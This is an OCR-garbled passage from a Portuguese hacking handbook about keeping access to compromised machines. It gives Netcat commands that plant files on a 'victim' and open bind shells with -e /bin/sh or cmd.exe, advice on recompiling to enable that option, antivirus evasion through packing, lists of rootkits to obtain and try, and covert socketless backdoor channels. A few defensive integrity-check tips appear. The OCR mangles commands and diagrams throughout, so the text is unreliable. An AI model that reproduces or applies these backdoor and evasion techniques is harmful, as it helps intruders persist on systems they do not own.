(porta 139),FfP, Telnet, SMTP...Basta conhecer o protocolo e emitir os comandos


corretos. Para conectar-se a portas UDp'usa-se a opo -u.
O Netcat funciona em dois modos. O modo cliente o que vimos - envia
qualquer coisa colocada em sua entrada para o IP/porta indicado. Se houver
respostas, apresenta-as na tela. Por entrada, entendemos tanto a entrada padro (o teclado) como qualquer outro programa que esteja acoplado entrada
(poderamos usar pipes - funciona no Windows e no Unix).
H um outro modo, chamado modo servidor. este que nos interessa. O modo
servidor, ao invs de enviar comandos, fica de prontido para receb-Ios e devolver o resultado da requisio para a sada padro. Veja o seguinte comando:
C:\> NC -1

-p

80

Nesse caso, o Netcat est agindo como servidor. A opo -1 indica isso. A
opo -p indica a porta a ser usada. Faa uma experincia: em nossa rede de
testes, coloque o comando acima para rodar na mquina Windows. Na mquina Unix, use o comando aterior (nc 192.168.1.1
80). Experimente digitar na
mquina Unix e veja o que acontece na Windows: os caracteres da sua entrada
padro (no caso, o seu teclado) so transferidos para a sada padro (a tela) da
outra mquina. Bacana, n? Mas vamos apimentar um pouco as coisas.
Imagine que voc quer transferir um arquivo do seu computador para o
computador invadido (um B02K, por exemplo). Nada mais simples. O nome
do arquivo server.exe e o endereo IP do computador alvo 192.168.1.1. No
computador da vtima, use o comando
De

-1 -p 9999

>

server.exe

No do hacker, experimente
De 192.168.1.1 9999

<

server.exe

Note os redirecionamentos. No computador da vtima, o caractere ">" indica


redirecionamento para o arquivo server.exe. Todos os dados recebidos sero
copiados para l. No computador do atacante, o caractere "<" indica que todos
os bytes do arquivo server.exe sero mandados para a entrada do Netcat. Quando
o ltimo bit for transmitido, a conexo cai automaticamente. Mesmo sem acesso a FTP ou a um compartilhamento do Windows, foi possvel enviar um arquivo para o sistema da vtima. De fato, mesmo com acesso irrestrito a um shell do
sistema, o atacante no tem acesso fsico a disquetes ou drives de CD (o sistema invadido pode estar do outro lado do mundo). Se no houver um meio de
enviar os arquivos via rede como FTP,r-comandos no Unix e compartilhamentos
no Windows, o invasor deve ter um programinha na manga para poder transferi-Ios. A opo mais direta o bem-amado Netcat.
Invertendo os redirecionamentos, possvel deixar a mquina do atacante
como servidor pronta para "empurrar" o arquivo, e conectar-se a ela pela mquina da vtima, que far o download. A vantagem? Bem, a maioria das configuraes de firewall iria barrar um arquivo sendo transferido se a origem da

]Ataque,

defesa e contra-ataque:

1317 I

Manuteno

I Universidade

H4CK3R I

conexo vier de fora (ou seja, da mquina do hacker). Invertendo-se os papis,


a mquina da vtima que requisita o arquivo - e o firewall vai alegremente
deixar isso acontecer.
Na mquina do hacker: ne -1 -p 9999 < server. exe
Na mquina

da vtima:

ne 192 .168 .1.1

9999

> server.

exe

A mquina do hacker fica esperando conexes. Quando uma acontece, ele envia o arquivo especificado. A conexo foi feita a partir da mquina da vtima. Ela
originou a conexo e comea a receber dados, que so gravados em server.exe.
Mas alm de plantar backdoors, vrus e trojans no sistema invadido, o Netcat
pode ser, ele prprio, um backdoor! A opo -e redireciona tudo o que for
recebido para um comando externo! fcil perceber que, redirecionando para
cmd.exe no Windows ou para /bin/sh no Unix, o Netcat pode nos dar um shell,
que ter os privilgios do usurio, em que o nc foi executado. O comando
completo na mquina da vtima seria:
ne -1 -p 9999 -e /bin/sh
Ou, para

sistemas

Windows:

NC -1 -p 9999 -e emd.eom

Observe que a opo -e pode vir desabilitada por padro. Pode ser necessrio
compilar o cdigo novamente com a opo GAPING_SECURITY
_HOLE (o nome
j diz tudo...) ou baixar um executvel
j preparado
para tal netcat.sourceforge.net
uma grande pedida.
H diversos outros usos para o Netcat, como, por exemplo, redirecionamento
de conexes. til para furar flfewalls ou para criar um encadeamento (daisy
chain ou tunneling mode) entre vrios computadores na Internet para fins de
spoofing. Do mesmo modo que no encadeamento de proxies pblicos, podemos
usar o Netcat para montar uma rede de proxies privativos - 15 ou 20 na mesma
linha e com rotas alternativas so aparatos comuns de hackers experientes!
Outro uso muito interessante do Netcat como portscanner improvisado. Esses
e muitos outros destinos podem ser encontrados no excelente white paper de Tom
Armstrong intitulado "Netcat - o canivete suo do TCP/IP" (www.giac.org/
practical/gseclTom Armstrong GSEC.pdf - em ingls). Uma alternativa de respeito ao Netcat o CryptCat (www.farm9.com/content/Free Tools/CryptCat).
um done perfeito do Netcat, com a mesma funcionalidade e sintaxe. Mas possui
um diferencial interessante: toda a comunicao criptografada. Mesmo que a
conexo seja descoberta, nunca sabero o que se passa nela.
O Netcat , seguramente, a ferramenta Unix nativa (e muito instalada em
Windows tambm) mais usada como auxiliar por invasores em sistemas alheios. Por ser minscula, facilmente instalada em sistemas que no a possuem.
Mas o Netcat no o nico meio de improvisar backdoors. Fique atento a
quaisquer programas que possam dar acesso a sistemas de arquivos. O
interpretador PerI um deles: com poucas linhas de cdigo possvel montar
um servidor como o Netcat em modo -1e enviar arquivos por ele, por exemplo.
1318

Ataque, defesa e contra-ataque: Manuteno


[

Universidade

3 ano

Vrus e Cavalos de Tria


Apesar de serem dois assuntos j tratados no decorrer do livro, consideramos benfico relembrar conceitos importantes.

Mais uma vez, Vrus


No h muito o que falarsobre epidemias virais que j no sejam do conhecimento
de todos.Vrus so programas que se comportam como seus homnimos biolgicos:
so microscpicos, reproduzem-se sozinhos, consomem recursos computacionais
que no lhes pertence e tm alta capacidade de infeco por contgio.
Apesar de os programas de antivrus classificarem, como vrus, programas
como cavalos de tria, backdoors e (pasmem!) vrus legtimos, as trs categorias
de programas so extremamente diferentes, e poderia-se dizer at complementares. Os V1fUSno precisam dos trojans como meio de transporte e vetor de
contaminao. Muito menos precisam abrir backdoors para entrar e sair dos
sistemas infectados. Mas, apesar disso, tambm podem utilizar-se deles, caso a
oportunidade aparea.
Um vrus de computador possui objetivos muito claros: infectar o mximo
possvel de sistemas, reproduzir-se rapidamente e opcionalmente consumir
recursos e danificar os sistemas invadidos.
Como so auto-suficientes, foge ao escopo deste livro discorrer a fundo sobre eles. Sugerimos ao leitor consultar os sites das grandes produtoras de antivrus para obter informaes atualizadas.
E lembre-se: um vrus pode ser o companheiro para um ataque de DoS...
Como tarefa para casa, pesquise sobre os grandes nomes do mundo viral: PingPong, Mozart, Michelangelo, Madonna, Chernobyl, Melissa, LoveLetter (conhecido no Brasil como I Love You), Nimda, Klez e BugBear. No campo da teoria,
estude sobre programao orientada a objetos (vrus utilizam-se muito dela),
herana, polimorfismo, funes reprodutivas e mtodos de contgio.

Vrus ainda indetectveis!


Tomemos os V1fUSmais conhecidos. O BugBear, por exemplo. A imprensa o
descreve como "a pior ameaa viral de todos os tempos" (assim como fez com
o Klez...) e, no entanto, um V1fUScomum, que usa as mesmas tcnicas ancis
de propagao, infeco, destruio e replicao de outros mais antigos como
o Melissa e que pode ser facilmente detectado por um antivrus atualizado.
Virus mais modernos podem camuflar suas comunicaes com o mundo externo por meio de chamadas de sistema e comunicao interprocessos (releia
os captulos sobre sistemas operacionais). Eles podem, por exemplo, "pegar
emprestado" os sockets de seu navegador padro para mascarar a comunicao. Ou usar seu cliente de e-mail padro (por exemplo, o Outlook Express campeo de audincia) para se auto distribuir. Em nenhum dos casos o proces1319

]Ataque,

defesa

e contra-ataque:

Manuteno

I Universidade

H4CK3R I

so do virus vai aparecer durante a comunicao, e o comando netstat vai revelar apenas uma simples conexo Internet de seu prprio browser. Agora
responda: que fIrewall vai barrar comunicaes H1TP ou SMTP originadas no
lado de dentro de sua rede?
O leitor poderia ainda protestar: "mas meu antivirus est atualizadssimo,
como pegaria vrus novos"? A resposta simples: um programa desses detecta
apenas vrus conhecidos. Um simples editor hexadecimal pode alterar detalhes do vrus e torn-Io, novamente, indetectado por um tempo. At que as
empresas que ganham dinheiro com esse tipo de pnico corram para atualizar
seus bancos de dados e at que as pessoas atualizem seus antivrus, o estrago
est feito. Numa estimativa muito tosca, os autores consideram que mais de
90% dos vrus que efetivamente esto solta pelo mundo no so detectados
por nenhum dos programas antivrus existentes no mercado.
Por exemplo, uma das maneiras j bem antigas de confundir um antivrus
comprimir o arquivo executvel do mesmo e adicionar um stub (pequeno programa no incio do arquivo compactado) que o descomprima na hora da execuo. Foi uma maneira inteligente de, durante muito tempo, fazer viroses passarem inclumes pelo corredor polons imposto pelas rotinas dos antivrus.
J h tcnicas modernas de ofuscamento, entretanto, que colocam diversas
camadas de desafIos comprimidos e criptografados, com diversos stubs diferentes e chaves de criptografta distribudas pelo arquivo. Cada vez que executado, o antivrus replica-se e se autocriptografa novamente com outras chaves cujos pedaos sero gravados em locais diferentes dentro do arquivo.
Um antivirus, para conseguir simplesmente ler o contedo executvel do
vrus, ter de descascar vrias camadas dessa cebola, descobrir vrias chaves
criptogrftcas embaralhadas no meio dos dados do arquivo e ainda saber quais
tipos de compresso foram usados em cada camada (sim, possvel usar tipos
diferentes de compresso). O que nos leva ao problema principal: depois de
encontrado um vrus desse tipo, sero necessrios vrios dias ou mesmo semanas para quebr-Io. Isso, bvio, ocorrer apenas se o antivrus conseguir determinar se aquilo um vrus, coisa muito difcil de acontecer.
Para mais informaes sobre essas tcnicas de ofuscamento, pesquise na Internet
sobre o DaVinci Group, um cl hacker fechado e que, ao que parece, o nico
detentor dessa tecnologia; embora seja baseada em outras mais antigas que j
esto rodando por a faz muito tempo. uma simples questo de vontade. Quando "cair a fIcha" dos crackers produtores de vrus para a tcnica, a computao
como a conhecemos hoje entrar em colapso.

Indo alm dos Cavalos de Tria


J conversamos rapidamente sobre cavalos de tria no captulo VulnerabilidadesI.
Naquela ocasio, ensinamos como criar um que escondesse o B02K em uma inocente
320

Ataque, defesa e contra-ataque: Manuteno[

Universidade 3 ano

imagem. Por definio,os cavalos de tria so apenas expedientes utilizadospara fazer


a vtima acreditar que o arquivo em questo trata-sede algo inofensivo ou mesmo um
presente - embora guarde algo danoso em suas entranhas.
Cavalos de tria guardam e transportam qualquer coisa - pode ser um
backdoor (o mais usual), mas tambm pode ser um vrus, um programa inocente ou mesmo outro trojan mais poderoso. Do casamento entre trojans e
backdoors, entretanto, que saem as maiores dores de cabea dos administradores de sistemas e usurios domsticos... Chamados de RATs (Remote
Administration Trojans), podem tomar o controle total do computador da vtima. H milhares de RATsdisponveis ou em desenvolvimento na Internet, especialmente para Windows. So, em sua maioria, desenvolvidos por kiddies ou
programadores pouco mais que isso, normalmente em Visual Basic ou Delphi.
So realmente brinquedos: embora os usurios comuns sempre caiam nas
armadinlhas deles. Verifique em areyoufearless.com. www.evileyesoftware.com
ou troianforge.net (entre outros) e veja voc mesm02.
Trojans tradicionais como o B02K e assemelhados possuem muitas limitaes.
So aplicaes e, portanto, rodam em User Mode. Enquanto no Windows isso no
problema para o invasor, pois o prprio kernel roda partes de seu cdigo
nesse modo, trojans carregando backdoors no funcionariam bem em outras
plataformas. Em Unices, por exemplo, bem provvel que os usurios sequer
tenham permisso de rodar programas a partir de seus diretrios pessoais.
H um outro problema com os trojans tradicionais: como so aplicativos
estranhos ao sistema, so facilmente detectveis. Mesmo escondendo-se com
nomes insuspeitos entre os arquivos da pasta C\ WINDOWS, ferramentas de
auditoria podem perfeitamente encontr-Ios.
Para combater esse tipo de problema, a seleo natural criou uma especializao na fauna trojnica: a substituio de programas do sistema por outros
especialmente alterados. Chamados de rootkits, tais programas alteram o funcionamento real de utilitrios de uso freqente, como o Ibin/login em computadores Unix ou o EXPLORER.EXE em mquinas Windows - Finder no Mac
OS, pconsole no Novel1Netware, etc, etc, etc..-.
Os rootkits mais comuns fazem, basicamente, quatro coisas: a) abrir um
backdoor permanente ou ativado por um cdigo, b) mentir sobre o estado do
sistema, c) apagar ou destruir alguma coisa, d) descobrir senhas e informaes sigilosas.
A grande maldade de um rootkit , ento, embutir uma ou mais dessas quatro
fimes em programas existentes. Por exemplo, o j citado Ibin/login em sistemas
Unix. H rootkits que do acesso irrestrito ao sistema caso uma senha pr-programada seja informada. Por exemplo, em um sistema Solaris, a senha do usurio root
@#S2L9*&.
uma boa senha, dificilde quebrar ou adivinhar.Entretanto, se o progra2. Alis, uma boa idia interromper (novamente) a leitura do livro e brincar longamente com todos
esses trojans e com as informaes e tutoriais presentes nesses sites. Leia os fruns; h threads interessantissimas e esclarecedoras.

1321I

]Ataque,

defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R

ma /bin/login for substitudo por um rootkit especialmente preparado, qualquer


usurio com a senha especial (que pode ser configurada, por exemplo, para
"xuxubeleza") ganha acesso de root na mquina. Um outro tipo de rootkit conhecido que tambm afeta o /bin/login um simples keylogger: guarda em um arquivo as
senhas de todos os usurios que se conectam no sistema. Sujo,no acha?
Um rootkit que afete o Windows Explorer, por outro lado, pode esconder
completamente uma pasta que contenha diversos arquivos pertencentes ao
invasor. Mesmo que a visualizao de arquivos ocultos esteja ligada, esse diretrio
continuar escondido - o rootkit tratar de deix-lo longe dos olhos do usurio. E no gerenciador de tarefas do Windows veremos, simplesmente, uma instncia do Explorer.
H rootkits diversos que escondem o estado da rede, conexes, sistema de
arquivos e processos sendo rodados, entre outras coisas. Por exemplo, o ifconfig
no Linux poderia mentir sobre o modo promscuo, escondendo o funcionamento de um sniffer. O TASKMAN.EXE(Gerenciador de Tarefas) do Windows
poderia esconder processos e servios de trojans, vrus e scanners. Outros tipos de rootkits podem ecoar as comunicaes para o hacker ou dar acesso
contornando a senha do administrador - por exemplo, em servidores SSH,Telnet
ou IIS modificados.
A seguir, fornecemos uma lista (bastante incompleta) de comandos e programas que podem ser substitudos por rootkits. Existem vrios rootkits para
cada um desses programas, portanto sugiro que o leitor, ao tomar contato com
algo novo, experimente em seu sistema de testes.
Para Unix, os programas mais visados por desenvolvedores de rootkits so:
login, ifconfig (no Linux), du, df, pwd, su, sudo, netstat, nc (sim, o prprio Netcat
pode estar adulterado!), ps, find, slocate, updatedb. Os utilitrios de configurao no escapam ilesos a rootkits: SAM no HP-UX,Admintool no Solaris, Smit
noAIX, Linuxconf,Webmin... Mesmo comandos internos de alguns shells - como
ls e cd no Bash - podem ser mascarados com wrappers que escondam arquivos ou mintam sobre seus tamanhos. Uma malvadeza maior instalar verses
rootkit dos shells disponveis (Bash, csh, ksh, etc) ou de servidores como Apache
e mesmo inetd/xinetd para abrir backdoors "sob demanda".
Para Windows a lista parecida. O prprio cmd.com pode ser alterado para
mascarar aes maliciosas em funes internas como o DIR e o CD.Adicionalmente, muitos dos arquivos do Windows, como os j citados EXPLORER.EXEe
TASKMAN.EXE,podem ser "torcidos". Cuidado ainda com alguns utilitrios
freqentemente usados, como a Calculadora (CALC.EXE), o Bloco de Notas
(NOTEPAD.EXE), o WordPad (WRITE.EXE) e o Editor de Registro
(REGEDIT.EXE).Todos esses programas esto presentes em qualquer verso
do Windows, mesmo em servidores, e podem ser manipulados para funcionar
como rootkits. Ateno especial deve ser dada tambm s DLLs compartilhadas por muitos aplicativos, especialmente o MFC.DLL.
13221
Ataque, defesa e contra-ataque:

Manuteno

Universidade 3 ano

A lista muito mais vasta do que a que mostramos. No caberia aqui elencar
todos os tipos e todos os programas que podem ser alterados por rootkits.
Como sugesto, em Unix pesquise sobre lkr5, utrojan, backdoored sendmail,
tOrnkit, rkssh, APSR, bdoor, wOOwOO, IOgin.kit, bd2, vexed, falcon-ssh, Trojanit,
rootkitSunOS, sol, e Raditz (malvado: substitui o Tripwire!), entre outros.
Esse tipo de rootkit (substituio
de programas e utilitrios do sistema)
mais comum em ambientes Unix do que em Windows, embora haja tambm
inmeras ferramentas para o sistema da Microsoft. Para comear, procure por
ads_cat, FakeGINA, fu.ZIp, Xshadow, Hacker Defender, Hacker's Rootkit for
NT, Slanret, Krei, IERK (ierk8243.sys), Backdoor-ALI, Caesar's RegWrite Injector,
null.sys, HE4Root (ou HE4Hook) e IIS injection.
Para saber mais sobre esses rootkits e novas tcnicas sobre o tema, procure
por informaes em www.packetstormsecurity.nl
, no www.securityfocus.com,
no www.windowsecurity.com,
no site oficial da Microsoft (www.micro
soft.com) e, principalmente,
no Google ;-).

There is no spoon
Rootkits no so to fceis de identificar como os cavalos de tria e backdoors
comuns. Um Back Orifice ou um Netcat escutando em uma porta podem ser
facilmente descobertos com um simples netstat. Mas se o netstat estiver
rootldtted, a coisa muda de figura - a informao sobre as portas abertas do
backdoor estariam cobertas. O mesmo ocorre com os processos: um
EXPLORER.EXE modificado ainda assim aparece apenas como Windows
Explorer no Gerenciador de Tarefas.
Entretanto, apesar de mais elaborados, rootkits comuns que alteram a funcionalidade de programas ordinrios do sistema operacional podem ser detectados por caractersticas no bvias, mas, mesmo assim, aparentes. O programa
alterado pode ter sua data de criao diferente das demais. Mesmo que seja
igual, o tamanho pode ser diferente do original, verificado em outras mquinas.
Se o tamanho for igual, seguramente sua estrutura interna no o , e pode ser
comparado byte a byte com a de um sistema so.
Outra alternativa verificar o checksum dos arquivos que compem o programa. Sistemas Unix normalmente utilizam-se de uma assinatura MD5 para
garantir a idoneidade dos arquivos. Em sistemas Windows, a Microsoft adota
um procedimento semelhante, baseado em esteganografia aplicada ao logotipo
do Windows. Em qualquer dos casos, se a assinatura no bater com a original, o
programa seguramente est adulterado e precisa ser apagado ou substitudo.
Administradores realmente paranicos (e eles no esto errados, longe disso!) instalam controladores de inventrio com verificadores de integridade de
arquivos (como por exemplo, o Tripwire ou o AIDE) em todos os seus computadores (inclusive estaes de trabalho). Qualquer arquivo que seja alterado
por um rootkit ser detectado na prxima verificao e uma mensagem de

1323 I
I

Ataque, defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R I

alerta vermelho surgir na tela do administrador.


Para fugir deste cenrio, os hackers criaram uma modalidade de rootkits com
um nvel mais elevado de camuflagem. Desta vez, os arquivos e programas de
sistema ficam intactos: o prprio kernel do sistema operacional substitudo por
outro completamente adulterado. Uma dualidade parecida com a do Super-Homem e seu antiego, o Bizarro (ahhh, bons tempos em que passava as manhs vendo
os Superamigos...).
J falamos sobre kernel em vrios captulos e mesmo nos apndices. Todo o
processamento do sistema obrigatoriamente passa por ele e, portanto, control-Io
como em uma possesso demonaca algo extremamente poderoso e destrutivo.
Entre as iniqidades que podemos praticar a partir de nossa possesso esto:
~ Camuflagem de arquivos do invasor, exatamente como nos rootkits comuns.A diferena que, sendo pelo keme1, tal artifcio praticamente impossvel
de ser contornado ou mesmo descoberto.
~ Camuflagem de conexes de rede. Da mesma forma como fizemos, em
Unix e em Wmdows, com uma verso alterada do comando netstat, um kernel
rootkitted pode tambm esconder conexes especficas. Apenas sniffers rodando
em outras mquinas so capazes de detectar tais conexes.
~ Camuflagem de processos. O kemel gerencia os processos. O prprio keme1,
ento, que d a lista deles para os programas que os listam (ps no Unix,
Gerenciador de Tarems no Wmdows). Com isso, fica fcil esconder desses programas (e, portanto, dos usurios) os processos nocivos que estejam rodando.
~ Redirecionamento. Imagine o seguinte cenrio: um invasor "plantou" programas nocivos na pasta C:\WINDOWS\SYSTEM32\em um sistema Windows NT
4. O rootkit no kernel trata de esconder esses programas enquanto mostra normalmente todos os outros arquivos da mesma pasta. Um desses arquivos uma cpia
modificada do Windows Explorer (EXPLORER.EXE).Cada vez que o Windows
solicita a execuo de uma nova instncia do Explorer, em vez de abrir o programa
original, o kerne1 vai redirecionar a execuo para o Explorer modificado. Qualquer ferramenta de auditoria ir testar a integridade do EXPLORER.EXEoriginal
(armazenado na pasta C:\WINDOWS)e o encontrar intocado.
Usando essas quatro traquinagens, o programador que desenvolveu o rootkit
pode criar duas realidades para o administrador de usurios. Uma, bela e sem
problemas, completamente falsa.A outra, cheia de furos de segurana, portas de
trs e manipulao indevida de documentos e arquivos, a real. Cabe ao administrador decidir se continua vivendo feliz em sua redoma virtual ou se ingere o
comprimido vermelho.
Alterar um kernel por meio de rootkits fcil e pode ser feito de duas maneiras.
A primeira por meio de patches, e a preferida por hackers que desenvolvem
para Wmdows. Funcionando da mesma maneira que os Hotfixes e Service Packs
da prpria Microsoft, um patch para inserir um rootkit sobrescreve arquivos
inteiros ou parte deles, injetando novas rotinas e desvios e fazendo-os respon13241
Ataque, defesa e contra-ataque:

Manuteno

Universidade 3 ano

der diferentemente do originalmente previsto. Como o kernel do Windows


composto por algumas dezenas de DLLs acessveis pelos usurios, a tarefa,
apesar de trabalhosa, simples e s vezes sequer necessita ser executada por
um usurio com muitos privilgios sobre o sistema. Como toda instalao em
um sistema Windows, aps a aplicao do patch o sistema deve ser reiniciado
- mas isso pode ser feito pelo prpro invasor e em mais de 90% dos casos tal
anomalia ser considerada pelo administrador da mquina como "apenas mais
um pau no Windows".
A outra maneira, mais apreciada pelos amantes do Unix, funciona por meio
de Mdulos Carregveis do Kernel (Loadable Kernel Modules ou LKM). Se o
leitor no pulou os importantes captulos sobre sistemas operacionais, deve
lembrar-se de que, ao contrrio do microkernel do Windows, os Unix em geral
so monolticos. Um nico mamutesco e por vezes criptografado arquivo en-.
globa o ncleo central e a maioria dos drivers de dispositivo do sistema.
medida que os sistemas Unix iam evoluindo, percebeu-se que a poltica de
kernels monolticos deveria ser "flexibilizada", caso contrrio teramos sistemas cujo ncleo residiria num arquivo de dezenas ou mesmo centenas de
megabytes contendo milhares de drivers para hardware que nunca vamos adquirir. Por isso, os kernels passaram a ser modulares: um ncleo base (longe de
ser um microkernel) seria carregado primeiro, e os demais drivers apenas seriam carregados se o hardware fosse solicitado. Esses drivers (e alguns programas e utilitrios que rodam em modo kernel) residem em LKMs. fcil notar
que possvel alterar o comportamento do kernel com mdulos carregados
muito depois do boot. Um LKM pode inclusive ser carregado sob demanda,
automaticamente ou a partir de um comando emitido remotamente pelo invasor atravs de um backdoor comum.
Pesquise sobre os LKM rootkits de seu sistema operacional e, preferencialmente teste todos os que encontrar (em nossa rede de testes e no em ambiente de produo!!!). Relacionamos alguns mais famosos (ou informaes para
entender LKMs nas diversas plataformas), mas intencionalmente no colocamos os mais recentes para acostum-Io a procurar.
Para Windows (9x e NT): www.rootkit.com (passagem obrigatria).
Para Linux: Adore, Carogna (prOgeto CarOnte), Knark, phide, heroine.c,
spooflkm, suidshow.c, kinsmod, Rial, THC Backdoor (lkm), kernel.keylogger,
SucKlT, 1kminject;
Para Solaris: Plasmoid, slkm, ksolaris, THC Backdoor (1km);
Para FreeBSD:AdoreBSD, ipfhack, lbk, THC Backdoor (lkm);
Para OpenBSD: AdoreBSD, obsd_ipfhack, THC Backdoor (lkm);
Para Windows 9x (veja s!): Burning Chome.
Como ltima dica, leia estes white papers:
~ www.wOOwOO.org/files/articles/lkmhack.txt;
~ packetstormsecurity.nl/docs/hack!LKM
HACKlNG.html;
~ packetstormsecurity.nl/Win/vxd. txt.
1325
I

Ataque, defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R

Comunicaco sem conexes


I

Tudo isso muito bom, tudo isso muito bonito, mas qualquer servidor - seja
ele HTTP,SMTP,Finger ou mesmo um backdoor embutido no kernel - precisa
de sockets para se conectar. Como vimos, um socket , grosso modo, um trio
IP/Porta/Protocolo. Portanto, para me conectar a um servio qualquer (um
servidor SSH,por exemplo), tenho de criar uma conexo entre o meu cliente
SSH e a porta 22 daquele servidor. Com backdoors a mesma coisa: se eu
improvisei um servidor com Netcat "escutando" na porta 9999, preciso me
conectar a essa porta (e manter a conexo) para interagir com ele.
Isso quer dizer que mesmo em sistemas comprometidos por rootkits possvel descobrir falcatruas desse tipo. Basta rodar um sniffer como o Ethereal em
outro computador da rede (a estao de trabalho do administrador, por exemplo) e todas as conexes esprias podem ser detectadas, certo?
Detesto dizer isso, mas novamente a resposta no. H pelo menos uma maneiras conhecida3 de esconder o trfego e no precisar de conexo para trocar pacotes, que combina sniffing e spoofing com a manipulao da pilha TCP/IP.

Ouvidos moucos
Firewalls e antivirus so as estrelas do momento no tocante segurana de redes
e computadores. Coloca-semuita f em ambos os dispositivos e, num comportamento normal em sereshumanos, relaxa-senos demais aspectos de segurana. No estamos
dizendo que sejam despesas inteis, pelo contrrio: ftrewalls e antiv1fUsmantm
longe de seus sistemas um nmero asustador (muitos milhes) de script-kiddies.Mas
entre centenas de milhares de kiddies h de haver um hacker de verdade.
Na verdade, nenhum ftrewall - seja ele por software ou personificado em um
hardware dedicado

- chega sequer prximo de deixar qualquer mquina segura,

caso um hacker desses apresente-se para o confronto com sua rede ou seus
servidores. Pense um pouco: seu ftrewall tem de, obrigatoriamente, deixar passar
os protocolos e servios que os usurios usam. Se os seus usurios so autorizados a usar programas de Instant Messenger (ICQ, por exemplo), as portas do
ICQ devem estar liberadas para trfego sainte e entrante. Se os seus usurios
usam a World Wide Web, trfego HTTP sainte pela porta 80 e entrante por portas altas deve, tambm, ser liberado.
S no cenrio acima, vemos que as portas 25 e 80 sempre estaro l, abertas para
quem quiser usar.Inclusive para o hacker que, usando todos os truques que vimos
em Vulnerabilidades e nestes captulos finais,pode pesquisar toda a sua rede interna e explorar vulnerabilidades conhecidas usando apenas a porta 80. Como se diz
comumente em crculos crackers, "a porta 80 sempre estar l"... E o que o carssimo ftrewall pode fazer a respeito, eu pergunto? Talvez registrar todos os pacotes
que passarem por ele, para futura anlise - se muito.
3. Lembre-se: h mais tcnicas em poder de cls hacker e mantidas em segredo do que as maneiras
divulgadas de se fazer a coisa. Espere e fique atento para novidades na rea em breve!

3261
Ataque, defesae contra-ataque: Manuteno[

Universidade 3 ano

Farejando problemas (comunicao sem sockets)


Como vimos no captulo anterior, podemos farejar a rede toda e recolher
trfego mesmo que no seja endereado a ns. A utilizao mais bvia dessas
tcnicas , realmente, "escutar" a rede para descobrir dados, usurios, senhas e,
possivelmente, capturar conexes. Mas h ainda um novo truque que podemos
fazer com sniffers.
Conexes estabelecidas por meio de sockets so mostradas com uma simples consulta ao netstat.
~y-.;:;/

II

Barramento
da Rede

Mesmo que seu sistema


este J'a absurdamente

trojanizado e cheio de
rootkits, as conexes:
.
T C P esta b e 1eCl d as ( e
mesmo trocas de pacotes UDp, que no usam
conexes,
mas, sim,
usam sockets) podem
ser monitoradas por outras mquinas. Mas e se
no houver conexo?

P~rtas

naousadas
- -- - -- -- - -- - -,

: BackdoorcomSniffer :

Ir+::=

11-

,,

Servidorde e-mail

ServidordeWEB

:-

BROAOCAST
ou
pacotedestinadoa
IP INEXIXTENTE
com
fragmantodecomando
parao BACKDOOR

iI~ I

Host comTraian"Promieuo"

Um trojan ou backdoor e o software cliente rodando no computador do invasor podem comunicar-se com ou por meio de trfego esprio. O hacker envia
pacotes TCP ou UDP a computadores
no existentes na rede, mas dentro da
faixa de IPs aprovada pelo ftrewall. Como no endereada a ningum, a mensagem morre dentro da rede e no se fala mais no assunto. S que o computador
com o backdoor socketless, farejando tudo indiscriminadamente,
capturou o
pacote sem destino e o processou. Simples como roubar doce de criana.

Gateway
,, -- -- ---, '

,
,

,
,

,
I
,'BACKDDDR II
,
I
'- - - - - - - - -'

Host com Trajan"Pramicuo"

Para o caminho inverso, o backdoor utiliza-se de programas j existentes no


computador e que j fazem, pela prpria natureza, conexes por sockets. Um
browser o melhor exemplo. O Z Usurio abre seu Internet Explorer e digita
www.pornoshow.com.ru. O backdoor detecta a conexo e injeta, no meio do
trem de dados, um ou dois bytes por pacote em reas nas quais no vo causar
problemas (o enchimento, por exemplo, ou o fragment offset quando este no
13271

IAtaque,

defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R I

usado). Dependendodo protocolo usado como burro de carga, possvel


inclusive, colocar mais dados no prprio payload IP.O endereo IP de destino
no alterado, e o invasor precisa estar posicionado no caminho da conexo
para farejar os pacotes e extrair deles os dados da comunicao.

Atualizando a camuflagem
Um sniffer em modo promscuo, entretanto, ruidoso numa rede e pode ser
facilmente detectvel com ferramentas especiais. Mas nada impede que um sniffer
seja executado em modo exclusivo, farejando apenas o trfego que entra e sai.
Nesse caso, o hacker no envia para a rede pacotes com IPs inexistentes, mas sim
direcionados exatamente para a mquina onde est o backdoor. Mas com um
detalhe: direcionados a portas que no estejam em uso.
Em um computador normal, a pilha TCP/lP simplesmente ignoraria os dados
que chegam a portas
Portas
~ Barramento
inexistentes ou desada Rede
tivadas. Mas em nosso
Portas
caso, o backdoor est
escutando tudo o que , BACKDOOR } L
+-chega em todas elas. So ,'- - - -- -- - - - - -''
virtualmente
65 mil
I
portas TCP e outras 65
Pacote destinado nicamente
mil
UDP que
o
ao Host Trojanizado, com
backdoor ou trojan
fragmento de comando para o
BACKDOORe escolhendo
r
aleatoriamente uma Porta
pode usar para escutar
8
HostcomTroJan"N'o.Promicuo"
o que chega, mesmo
As conexes nao
que a conexo no seja
sao estabelecidas!
(sem SYNIACK)
estabelecida.

- --

- _n:~ U_S:das

Muitos diriam que isso impossvel, que existe a obrigatoriedade de estabelecer um socket para recolher dados de uma porta. Ledo engando. Os sniffers
comuns (mesmo os mais simples) esto a para provar que se pode escutar
trfego mesmo que no seja direcionado ao seu MAC!!!Se no h necessidade
de conexo no protocolo Ethemet, possvel recolher qualquer dado de qualquer porta sem que seja necessrio conectar sockets a elas. Essa tcnica chamada de Layer-O Listening.
Como veremos mais adiante, possvel colocar uma camada adicional entre
quaisquer duas camadas da pilha OSI (ou TCP/IP,na prtica) e manipular dados l.
Essa camada pode, inclusive, ficar nas camadas de mais baixo nvel, ou mesmo
entre a pilha e a interface de rede tlsica (da o nome Layer-O,uma vez que a camada
tlsica a l).As ferramentas que normalmente usamos para detectar, monitorar e
barrar conexes e V1rtlS- netstat, nbtstat, firewallse antiv1rtlslocaisetc, etc, etc. esto posicionados antes da pilha TCP/lP (ou seja, a pilha fica sempre entre a

3281
Ataque, defesa e contra-ataque:

Manuteno r

Universidade 3 ano

ferramenta e a rede). Qualquer manipulao ou insero que faamos no fluxo de


dados poder ser retirada antes de chegar s ferramentas em questo.
Portanto, para que o backdoor que use tcnicas de Layer-Opossa escutar a
rede, pelo menos um dos trs requisitos abaixo deve ser preenchido:
~ Os pacotes so endereados ao MACda interfacede rede do computador invadido
~ A mensagem um broadcast,
